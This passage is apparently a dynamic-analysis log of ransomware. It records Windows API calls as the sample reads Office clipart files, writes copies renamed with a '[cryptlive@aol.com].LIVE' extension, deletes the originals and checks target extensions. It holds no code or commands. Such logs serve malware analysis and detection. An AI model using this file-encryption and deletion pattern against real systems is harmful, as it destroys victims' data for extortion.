lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0133.962] ReadFile (in: hFile=0x36c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.962] WriteFile (in: hFile=0x1fc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.962] SetEndOfFile (hFile=0x1fc) returned 1 [0133.966] CloseHandle (hObject=0x1fc) returned 1 [0133.966] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.966] SetEndOfFile (hFile=0x36c) returned 1 [0134.009] CloseHandle (hObject=0x36c) returned 1 [0134.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0134.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.019] lstrlenW (lpString=".doc") returned 4 [0134.019] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.019] lstrlenW (lpString=".docx") returned 5 [0134.019] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.019] lstrlenW (lpString=".pdf") returned 4 [0134.019] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.019] lstrlenW (lpString=".xls") returned 4 [0134.019] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.019] lstrlenW (lpString=".xlsx") returned 5 [0134.019] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.019] lstrlenW (lpString=".ppt") returned 4 [0134.019] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.019] lstrlenW (lpString=".zip") returned 4 [0134.020] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.020] lstrlenW (lpString=".rar") returned 4 [0134.020] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.020] lstrlenW (lpString=".bz2") returned 4 [0134.020] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.020] lstrlenW (lpString=".7z") returned 3 [0134.020] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.020] lstrlenW (lpString=".dbf") returned 4 [0134.020] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.020] lstrlenW (lpString=".1cd") returned 4 [0134.020] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.020] lstrlenW (lpString=".jpg") returned 4 [0134.020] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.020] lstrlenW (lpString=".doc") returned 4 [0134.020] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.020] lstrlenW (lpString=".docx") returned 5 [0134.020] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.020] lstrlenW (lpString=".pdf") returned 4 [0134.020] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.020] lstrlenW (lpString=".xls") returned 4 [0134.020] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.020] lstrlenW (lpString=".xlsx") returned 5 [0134.020] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.020] lstrlenW (lpString=".ppt") returned 4 [0134.020] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.020] lstrlenW (lpString=".zip") returned 4 [0134.020] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.020] lstrlenW (lpString=".rar") returned 4 [0134.020] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.021] lstrlenW (lpString=".bz2") returned 4 [0134.021] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.021] lstrlenW (lpString=".7z") returned 3 [0134.021] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.021] lstrlenW (lpString=".dbf") returned 4 [0134.021] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.021] lstrlenW (lpString=".1cd") returned 4 [0134.021] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0134.021] lstrlenW (lpString=".jpg") returned 4 [0134.021] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.021] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.021] lstrlenW (lpString="FINCL_02.MID") returned 12 [0134.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.022] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=9318) returned 1 [0134.022] CloseHandle (hObject=0x1fc) returned 1 [0134.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0134.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.023] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.023] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.024] GetLastError () returned 0x0 [0134.024] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x2466, lpOverlapped=0x0) returned 1 [0134.025] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0134.026] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.027] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.027] SetEndOfFile (hFile=0x314) returned 1 [0134.027] CloseHandle (hObject=0x314) returned 1 [0134.027] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.027] SetEndOfFile (hFile=0x1fc) returned 1 [0134.032] CloseHandle (hObject=0x1fc) returned 1 [0134.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0134.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.034] lstrlenW (lpString=".doc") returned 4 [0134.034] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.034] lstrlenW (lpString=".docx") returned 5 [0134.034] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0134.034] lstrlenW (lpString=".pdf") returned 4 [0134.034] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.034] lstrlenW (lpString=".xls") returned 4 [0134.034] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.034] lstrlenW (lpString=".xlsx") returned 5 [0134.034] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0134.034] lstrlenW (lpString=".ppt") returned 4 [0134.034] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.034] lstrlenW (lpString=".zip") returned 4 [0134.034] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.034] lstrlenW (lpString=".rar") returned 4 [0134.034] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.034] lstrlenW (lpString=".bz2") returned 4 [0134.034] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.034] lstrlenW (lpString=".7z") returned 3 [0134.034] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.035] lstrlenW (lpString=".dbf") returned 4 [0134.035] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.035] lstrlenW (lpString=".1cd") returned 4 [0134.035] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.035] lstrlenW (lpString=".jpg") returned 4 [0134.035] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.035] lstrlenW (lpString=".doc") returned 4 [0134.035] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.035] lstrlenW (lpString=".docx") returned 5 [0134.035] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0134.035] lstrlenW (lpString=".pdf") returned 4 [0134.035] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.035] lstrlenW (lpString=".xls") returned 4 [0134.035] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.035] lstrlenW (lpString=".xlsx") returned 5 [0134.035] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0134.035] lstrlenW (lpString=".ppt") returned 4 [0134.035] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.035] lstrlenW (lpString=".zip") returned 4 [0134.035] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.035] lstrlenW (lpString=".rar") returned 4 [0134.035] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.035] lstrlenW (lpString=".bz2") returned 4 [0134.035] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.035] lstrlenW (lpString=".7z") returned 3 [0134.036] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.036] lstrlenW (lpString=".dbf") returned 4 [0134.036] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.036] lstrlenW (lpString=".1cd") returned 4 [0134.036] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0134.036] lstrlenW (lpString=".jpg") returned 4 [0134.036] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.036] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.036] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0134.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.037] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=7567) returned 1 [0134.037] CloseHandle (hObject=0x1fc) returned 1 [0134.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0134.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.038] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.038] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.038] GetLastError () returned 0x0 [0134.038] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0134.040] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0134.091] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.091] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.100] SetEndOfFile (hFile=0x314) returned 1 [0134.104] CloseHandle (hObject=0x314) returned 1 [0134.104] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.104] SetEndOfFile (hFile=0x1fc) returned 1 [0134.107] CloseHandle (hObject=0x1fc) returned 1 [0134.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0134.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.228] lstrlenW (lpString=".doc") returned 4 [0134.228] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.228] lstrlenW (lpString=".docx") returned 5 [0134.228] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.228] lstrlenW (lpString=".pdf") returned 4 [0134.228] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.228] lstrlenW (lpString=".xls") returned 4 [0134.228] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.228] lstrlenW (lpString=".xlsx") returned 5 [0134.228] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.228] lstrlenW (lpString=".ppt") returned 4 [0134.228] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.228] lstrlenW (lpString=".zip") returned 4 [0134.228] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.228] lstrlenW (lpString=".rar") returned 4 [0134.228] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.228] lstrlenW (lpString=".bz2") returned 4 [0134.228] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.228] lstrlenW (lpString=".7z") returned 3 [0134.228] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString=".dbf") returned 4 [0134.229] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString=".1cd") returned 4 [0134.229] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString=".jpg") returned 4 [0134.229] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString=".doc") returned 4 [0134.229] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.229] lstrlenW (lpString=".docx") returned 5 [0134.229] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.229] lstrlenW (lpString=".pdf") returned 4 [0134.229] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.229] lstrlenW (lpString=".xls") returned 4 [0134.229] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.229] lstrlenW (lpString=".xlsx") returned 5 [0134.229] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.229] lstrlenW (lpString=".ppt") returned 4 [0134.229] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString=".zip") returned 4 [0134.229] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.229] lstrlenW (lpString=".rar") returned 4 [0134.229] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.229] lstrlenW (lpString=".bz2") returned 4 [0134.229] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.229] lstrlenW (lpString=".7z") returned 3 [0134.229] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.229] lstrlenW (lpString=".dbf") returned 4 [0134.229] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.230] lstrlenW (lpString=".1cd") returned 4 [0134.230] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0134.230] lstrlenW (lpString=".jpg") returned 4 [0134.230] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.230] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.230] lstrlenW (lpString="JAVA_01.MID") returned 11 [0134.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.230] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=9797) returned 1 [0134.230] CloseHandle (hObject=0x2f8) returned 1 [0134.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0134.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.231] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.231] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.231] GetLastError () returned 0x0 [0134.231] ReadFile (in: hFile=0x2f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x2645, lpOverlapped=0x0) returned 1 [0134.359] WriteFile (in: hFile=0x36c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2650, lpOverlapped=0x0) returned 1 [0134.361] ReadFile (in: hFile=0x2f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.361] WriteFile (in: hFile=0x36c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0134.361] SetEndOfFile (hFile=0x36c) returned 1 [0134.361] CloseHandle (hObject=0x36c) returned 1 [0134.361] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: 